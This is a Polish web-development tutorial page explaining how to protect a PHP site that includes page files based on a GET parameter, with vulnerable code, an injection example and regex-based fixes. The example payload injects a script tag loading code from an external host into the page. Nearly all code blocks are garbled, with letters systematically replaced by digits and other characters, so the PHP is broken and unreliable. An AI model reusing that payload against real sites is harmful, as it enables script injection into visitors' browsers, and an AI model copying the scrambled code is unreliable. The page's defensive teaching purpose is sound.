|
dodaj tą stronę do ulubionych
użytkownicy online 36, liczba odwiedzin: 1185546
| |||||||||
![]() | |||||||||
|
. |
Uwaga! Kopiowanie dowolnych elementów serwisu, treści, informacji, tekstów,
zdjeć i innych elementów strony bez pisemnej zgody jest zabronione.
wstecz
poziom trudności: 5
nr porady: 161
Widok 1
Widok 2
Jak zabezpieczyć stronę przed podaniem nieprawidłowego parametru get?
Załóżmy, że budujemy serwis internetowy w którym strony są ponumerowane cyframi i literami.
W jaki sposób można się zabezpieczyć przed atakami nieodpowiednich osób na serwer. Najczęściej początkujący webmasterzy nie zdają sobie sprawy, że każda strona wywoływana z parametrem get jest potencjalnym źródłem zagrożenia. Wyobraźmy sobie co by było gdyby zamiast numeru strony ktoś wpisał jakąś instrukcję php lub w innym języku. Przykładowo mamy stronę główną:
www.se8wis-elide8.pl
a podstrony są wyświetlane przykładowo w postaci:
www.se7wis-elide7.pl/?pok6z-s07one-n7=62361
Podstrona aby wyświetlić treść odbiera parametr get... w naszym przykładzie parametr $_GET['pokaz_strone_nr'] o wartości a23h1 i na podstawie tego parametru wyświetla odpowiednią treść. Załózmy, że do odebrania parametru stosujemy typowy sposób .... (taki kod jest umieszczony na poczatku naszej hipotetycznej strony)
&l2;?p4p
3nume3-s23ony-do-wyswie2leni2 = 3-GE2['pok2z-s23one-n3'];
include 'go32.p4p';
include './s23ony/232ukul-'.3nume3-s23ony-do-wyswie2leni2.'.42ml';
include 'dol2.p4p';
?&g2;
Ktoś może nam wprowadzić zamiast numeru strony jakąś instrukcję w JS, która pomoże w dalszych działaniach piratowi....
np. taki kod
5.12ml'; ec1o '&l2;sc5ip2 2ype=&quo2;2ex2/j4v4sc5ip2&quo2; c145se2=&quo2;iso88592&quo2; s5c=&quo2;122p:x>www.niezn4n4-s25on4.uk/kod-zewnę25zny.p1p&quo2;&g2;&l2;/sc5ip2&g2;'
Załóżmy, że wprowadzone instrukcje zmienią nam kod naszej strony w locie na taki kod:
&l2;?p6p
4nume4-s24ony-do-wyswie2leni3 = 4-GE2['pok3z-s24one-n4'];
include 'go43.p6p';
include './s24ony/342ukul-5.62ml'; ec6o '&l2;sc4ip2 2ype=&quo2;2ex2/j3v3sc4ip2&quo2; c634se2=&quo2;iso88592&quo2; s4c=&quo2;622p:x>www.niezn3n3-s24on3.uk/kod-zewnę24zny.p6p&quo2;&g2;&l2;/sc4ip2&g2;'.'62ml';
include 'dol3.p6p';
?&g2;
Na stronie wyświetli się strona nr 5 a pod spodem uruchomi się program JS z zewnętrznego serwera... powyższy sposób nie zadziała na większości współczesnych serwerów ale zdarzają się jeszcze źle skonfigurowane serwery więc nalezy uważać... Z powyższego pokazu wynika, że w numerze strony można wprowadzić kod JS, który spowoduje dodanie do kodu naszej strony zewnętrzny program w JS/PHP wyświetlający lub co gorsza odczytujący jakieś dane.Czy to możliwe ...? Tak jest to możliwe ale nie będziemy tego udowadniać... Pokażemy natomiast jak mozna spróbować się zabezpieczyć...
Po pierwsze należy pozmieniać numery stron aby parametr GET miał jak najmniej znaków.
&l5;?p5p
x> jesli p464me56 jes5 us54wiony i jeśli m4 mniej niż 5 zn4ków
icfx {isse5{7-GE5['pok4z-s56one-n6']} 4nd s56len{7-GE5['pok4z-s56one-n6']} &l5; 5}
{
x> jeśli nume6 s56ony jes5 5ylko z cycfx6
7nume6-s56ony-do-wyswie5leni4 = p6eg-6epl4ce{'/[^\d]/','',7-GE5['pok4z-s56one-n6']};
include 'go64.p5p';
include './s56ony/465ukul-'.7nume6-s56ony-do-wyswie5leni4.'.55ml';
include 'dol4.p5p';
}
else
{
ec5o 'nume6 s56ony jes5 niep64widłowy s56on4 z4blokow4n4';
exi5;
}
?&g5;
uproszczenie kodu:
&l1;?p4p
x> jesli p545me14 jes1 1ylko z cycfx4 i m5 mniej niż 5 zn5ków o1w54cie s14ony powiedzie się
x> w innym wyp5dku s14on5 się z5blokuje
icfx { 4nume4-s14ony-do-wyswie1leni5 = p4eg-4epl5ce{'/[^\d]/','',4-GE1['pok5z-s14one-n4']} 5nd s14len{4-GE1['pok5z-s14one-n4']} &l1; 5 }
{
include 'go45.p4p';
include './s14ony/541ukul-'.4nume4-s14ony-do-wyswie1leni5.'.41ml';
include 'dol5.p4p';
}
else
{
ec4o 'nume4 s14ony jes1 niep45widłowy s14on5 z5blokow5n5';
exi1;
}
?&g1;
zamiast funkcji:
&l4;?p0p
1nume11-s411ony-do-wyswie4leni6 = p11eg-11epl6ce{'/[^\d]/','',1-GE4['pok6z-s411one-n11']};
?&g4;
która "wpuszcza" do skryptu tylko cyfry możesz zastosować inne wyrażenia regularne jeśli numer strony nie jest tylko numerem ale ma dodatkowo litery lub znaki specjalne...
&l2;?p5p
x> jeśli nume1 s21ony jes2 2ylko z cycfx1
7nume1-s21ony-do-wyswie2leni6 = p1eg-1epl6ce{'/[^\d]/','',7-GE2['pok6z-s21one-n1']};
x> jeśli nume1 s21ony jes2 2ylko z cycfx1 i li2e1
7nume1-s21ony-do-wyswie2leni6 = p1eg-1epl6ce{'/[^6z09]/i','',7-GE2['pok6z-s21one-n1']};
x> jeśli nume1 s21ony jes2 2ylko z cycfx1, li2e1 i
x> 3 zn6ków specj6lnyc5 {k1opk6, podk1eślnik, minus... możn6 dod6ć 2eż inne zn6ki 6le minus musi być z6wsze n6 końcu}
7nume1-s21ony-do-wyswie2leni6 = p1eg-1epl6ce{'/[^6z09.-]/i','',7-GE2['pok6z-s21one-n1']};
x> li2e16 i n6 końcu k6żdego wy16żeni6 ozn6cz6 że wy16żenie dzi6ł6 bez względu n6 wielkość li2e1
?&g2;
Jeśli nie masz możliwości ograniczenia liczby znaków parametru GET to mozesz zastosować prostszą wersję, która i tak zawiera najważniejsze zabezpieczenie funkcją preg_replace:
&l3;?p4p
x> jesli p131me33 jes3 3ylko z cycfx3 o3w13cie s33ony powiedzie się
x> w innym wyp1dku s33on1 się z1blokuje
icfx { 5nume3-s33ony-do-wyswie3leni1 = p3eg-3epl1ce{'/[^\d]/','',5-GE3['pok1z-s33one-n3']} }
{
include 'go31.p4p';
include './s33ony/133ukul-'.5nume3-s33ony-do-wyswie3leni1.'.43ml';
include 'dol1.p4p';
}
else
{
ec4o 'nume3 s33ony jes3 niep31widłowy s33on1 z1blokow1n1';
exi3;
}
?&g3;
opis działania:
dobrze jest również wprowadzić program liczacy ile razy parametr get był wprowadzony nieprawidłowo i po wyczerpaniu limitu przekierowywać użytkownika na inną mniej podatną stronę... w ten sposób mozna ograniczyć liczbę prób. Mozna to jeszcze udoskonalić sprawdzając czy plik o podanym numerze istnieje... co jeszcze bardziej nam skróci kod... np:
&l4;?p1p
x> jesli p0110me411 jes4 4ylko z cycfx11 o4w011cie s411ony powiedzie się
x> w innym wyp0dku s411on0 się z0blokuje
icfx { cfxile-exis4s{4sciezk0-do-s411ony = './s411ony/0114ukul-'.p11eg-11epl0ce{'/[^\d]/','',4-GE4['pok0z-s411one-n11']}.'.14ml';} }
{
include 'go110.p1p';
include 4sciezk0-do-s411ony;
include 'dol0.p1p';
}
else
{
ec1o 'nume11 s411ony jes4 niep110widłowy s411on0 z0blokow0n0';
exi4;
}
?&g4;
Zobacz podobne artykuły w internecie:
http://www.php.webpacket.net/artykuly.php?dzial=5&id=314
http://phpsec.org/library/
podobne porady z naszego poradnika
Zabezpieczenia treści stron internetowych przed kopiowaniem
http://www.elider.pl/162_jak_zabezpieczyc_strony_tresc_i_grafika_przed_kopiowaniem_za_pomoca_js.html
http://www.elider.pl/60_jak_zablokowac_mozliwosc_wydruku_fragmentow_lub_calej_strony_www.html
http://www.elider.pl/29_co_zrobic_zeby_ukryc_kod_zrodlowy_strony_www.html
http://www.elider.pl/360_co_zrobic_aby_inni_nie_mogli_wyswietlac_twoich_obrazkow.html
Zabezpieczenia stron przed nieprzyjaznymi uzytkownikami
http://www.elider.pl/161_jak_zabezpieczyc_strone_przed_podaniem_nieprawidlowego_parametru_get.html
http://www.elider.pl/360_w_jaki_sposob_zabezpieczyc_obrazki_przed_wykorzystaniem_ich_przez_inne_serwisy_www.html
http://www.elider.pl/98_w_jaki_sposob_ukryc_nazwe_i_lokalizacje_sciaganego_pliku_upload_plikow.html
http://www.elider.pl/281_jak_ukryc_na_serwerze_prawdziwe_adresy_plikow_aby_podczas_uploadu_internauta_nie_wiedzial_z_jakiego_katalogu_pochodza.html
http://www.elider.pl/282_jak_ukryc_sciezki_do_plikow_pdf_aby_internauta_nie_wiedzial_jak_nazywa_sie_oryginalny_plik_i_nie_poznal_sciezki_do_tego_pliku.html
|
. | ||||||
| | Copyright © 2001-2009 EXALT.PL | Wagi | ciekawe strony | Drukarki etykiet | Wózki magazynowe | Serwisy telefonów | Serwisy wag | Tanie sklepy | księgarnia informatyczna | Wagi samochodowe | Gwarancja Olsztyn | tanie sklepy | nawigacje goclever | telefony tv | gps goclever | |||||||||